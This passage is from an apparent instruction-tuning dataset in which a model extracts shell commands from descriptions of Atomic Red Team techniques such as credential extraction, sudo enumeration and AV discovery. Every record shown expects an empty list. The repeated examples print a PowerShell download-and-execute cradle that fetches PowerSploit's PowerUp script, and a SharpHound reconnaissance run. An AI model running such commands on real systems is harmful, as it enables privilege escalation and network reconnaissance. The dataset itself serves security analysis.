unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Gets the macOS hardware information, which can be used to determine whether the target macOS host is running on a physical or virtual machine. sysctl can be used to gather interesting macOS host data, including hardware information, memory size, logical cpu information, etc.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use the ip tcp_metrics command to display the recent cached entries for IPv4 and IPv6 source and destination addresses. \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Common Sudo enumeration methods.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Methods to identify Security Software on an endpoint\n\nwhen sucessfully executed, powershell is going to processes related AV products if they are running.\nNote that, depending on the privilege of current user, get-process | ?{$_.Description -like \"*\"} may not return the processes related to AV products of the check.\nFor instance, only with Administrator right, you can see the process description of McAffee processes. Hence, it is better to use get-process | ?{$_.ProcessName -like \"*\"},\nif you know the name of those processes.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Automated Collection. Upon execution, check the users temp directory (%temp%) for the folder T1119_command_prompt_collection\nto see what was collected.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module will extract the credentials from Windows Credential Manager",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic will run Get-ADReplAccount from DSInternals.\nUpon successful execution, domain and credentials will appear in stdout. \n[Reference](https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/) CrowdStrike StellarParticle.\nhttps://www.dsinternals.com/en/retrieving-active-directory-passwords-remotely/\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit 